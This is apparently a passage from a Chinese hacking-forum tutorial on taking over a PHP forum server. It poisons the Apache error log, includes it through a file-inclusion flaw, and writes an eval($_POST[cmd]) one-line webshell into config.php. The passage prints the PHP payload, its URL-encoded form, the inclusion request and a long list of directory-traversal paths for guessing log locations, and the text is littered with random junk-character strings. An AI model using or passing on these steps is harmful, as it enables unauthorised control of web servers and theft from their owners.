因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
3 `& m5 h2 I$ J% i; r8 @7 L* u- P; x3 t( S; D) L: l; b
比如还是这句一句话木马 / i5 @2 s8 j- ~5 v F+ g4 ]) g
<?eval($_POST[cmd]);?>
' G( g ?/ m$ w' k j; ? Y
$ i# \' h, x% ~- }( K! H9 i到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, * G8 d+ S3 v; z8 W0 m+ ^ S/ v! H
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 0 s% t [& V' h7 r2 H# Q/ a. j" i( [
; F/ _- Z1 Y& J2 j0 c; O<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
$ @( _! V# ^1 pfclose($fp);?> //在config.php里写入一句木马语句
% b0 Q: g8 `/ {9 T9 l; k
3 b5 e' v/ M0 {! L' e* @我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 & P. l0 ]6 w" H3 c5 `6 h
转换为
" \9 O+ d9 ~) Y$ H8 q) ~%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F - A% E& |0 u7 H) s( D1 X
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 6 I- y* I! L- F* p4 d. o- p
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
" X; B6 D" J" Wfclose%28%24fp%29%3B%3F%3E
; y t8 [: P9 N. X0 B7 L我们提交
2 |$ Q9 L8 q9 ^: I9 { \+ H: Thttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww / t( l/ O6 W/ P
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp # X4 c/ \; L) C9 x7 e$ o; `0 j& i
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
4 j! C. _& ]1 A6 U9 W) a3 wcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
6 a' }. B: {0 d- ~& j9 n' M" f4 z7 e* Z. e% S3 Y! q' h% _ r
这样就错误日志里就记录下了这行写入webshell的代码。
: Y5 C$ F" o* s2 u我们再来包含日志,提交
; ]. _$ t6 ~8 I. l% L. L' V% N0 m+ Jhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
4 d, f+ a" y% O" q; v
3 U; z. i: P, j这样webshell就写入成功了,config.php里就写入一句木马语句
0 b/ s7 ]$ R4 a6 SOK. . V2 t& K! q9 R$ f# w5 ], t# _2 V
http://www.xxx.com/forum/config.php这个就成了我们的webshell 2 _$ Y6 \& n8 \: \1 H8 h8 l. b
直接用lanker的客户端一连,主机就是你的了。
$ G1 Q, a8 s9 ~) J" l7 G% N) i2 s, ~7 D) t' W
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
/ V+ L& _# ?% H4 `0 k/ G1 J6 R6 p+ |- \
其他的日志路径,你可以去猜,也可以参照这里。 6 e1 K7 Z6 h3 Y! U) d2 q) a4 j
../../../../../../../../../../var/log/httpd/access_log & U1 i* I! L0 W) e
../../../../../../../../../../var/log/httpd/error_log 0 K2 b+ e6 c2 H; o
../apache/logs/error.log
, ]9 p0 S9 G, o0 z../apache/logs/access.log 0 r- n$ [+ V }
../../apache/logs/error.log 8 R8 |0 c5 i8 s F. [
../../apache/logs/access.log " [5 r; `& |# H% H: G
../../../apache/logs/error.log ( p5 D7 U+ [0 ?4 w6 J3 E# S r. g
../../../apache/logs/access.log
. ]) E7 i0 K+ Y7 D9 F! `../../../../../../../../../../etc/httpd/logs/acces_log
3 m+ f. e$ J" ^/ M" Z../../../../../../../../../../etc/httpd/logs/acces.log 9 t% p4 V8 V- m; j0 d/ W$ \) _
../../../../../../../../../../etc/httpd/logs/error_log
8 p2 q, L$ b/ W9 P7 i4 `) j2 k../../../../../../../../../../etc/httpd/logs/error.log ( i) Z$ ` _* x' f( [
../../../../../../../../../../var/www/logs/access_log
$ ~* {# ?* E, T% e# }5 T../../../../../../../../../../var/www/logs/access.log
: K3 w. O; s {1 ^4 A../../../../../../../../../../usr/local/apache/logs/access_log " q$ J R9 I- O
../../../../../../../../../../usr/local/apache/logs/access.log # @, P! r! e0 n% f% |
../../../../../../../../../../var/log/apache/access_log
. `% Z$ \9 ?, f% Q$ E9 Z../../../../../../../../../../var/log/apache/access.log - ?9 X, b% @. s# l' R9 k
../../../../../../../../../../var/log/access_log " f- f1 i, r2 o$ { x+ M) z- c
../../../../../../../../../../var/www/logs/error_log 3 ~6 G, r/ b4 ^
../../../../../../../../../../var/www/logs/error.log
8 N, D) [( l2 S, r0 N6 p' O../../../../../../../../../../usr/local/apache/logs/error_log + q, d0 k! r3 `' G
../../../../../../../../../../usr/local/apache/logs/error.log ; R/ I' D* ]) C* l
../../../../../../../../../../var/log/apache/error_log
7 u8 }" u+ ]; i3 j U0 Q, E) {( e5 l../../../../../../../../../../var/log/apache/error.log - x; k1 R& k$ f
../../../../../../../../../../var/log/access_log
1 i. ]2 f) H# c* J../../../../../../../../../../var/log/error_log
8 J: x/ x* p8 b8 c7 Y+ ~/var/log/httpd/access_log , N" x5 ?0 e; I( M$ t6 ?
/var/log/httpd/error_log
: T3 {' _! Z2 j: t5 B../apache/logs/error.log : t! V3 v+ ], L. e8 |
../apache/logs/access.log
0 X# ?/ \( c# f( N../../apache/logs/error.log . U& o3 L8 j( U( u, X$ E
../../apache/logs/access.log 6 V- e6 ~. U& ?% \# @3 y& ]0 r
../../../apache/logs/error.log
0 J5 L) u4 u x$ b6 } A../../../apache/logs/access.log 3 V5 r9 \% G. H. ^$ X9 W
/etc/httpd/logs/acces_log ; s$ K: F4 ^. H; M( ?
/etc/httpd/logs/acces.log
8 b9 P2 N1 }- W( T, s& K4 U/etc/httpd/logs/error_log
, Z: U5 n0 ~) s# P* x/ e/etc/httpd/logs/error.log / F! Y8 R! i6 p9 m4 P
/var/www/logs/access_log
$ i( F% y! v( Y: M4 G3 {7 ~8 O/var/www/logs/access.log ; l% f/ N9 L; P9 ]- w. l9 P
/usr/local/apache/logs/access_log + a1 ]8 s" v: b$ H
/usr/local/apache/logs/access.log
1 A% G) E, ?0 \) H& ]/var/log/apache/access_log
* W4 f* N# Z0 a) \/var/log/apache/access.log
- S& o8 J5 b7 _0 T( ?/var/log/access_log
, Z' Z. S9 z, F- |' `/var/www/logs/error_log
% G1 R# e9 }# U+ Y( T y6 s" D/var/www/logs/error.log * E) W& ?# @+ ^& f2 j6 ]
/usr/local/apache/logs/error_log : @; v% L( E( A# g B
/usr/local/apache/logs/error.log
/ g. n8 u$ a# L/var/log/apache/error_log
7 V& v9 W8 p5 w. [+ _/ \. A1 C* L5 k/var/log/apache/error.log
, x- B* u) p( ^9 J ?- [, ^7 [/var/log/access_log 5 b" a/ K* L) y
/var/log/error_log |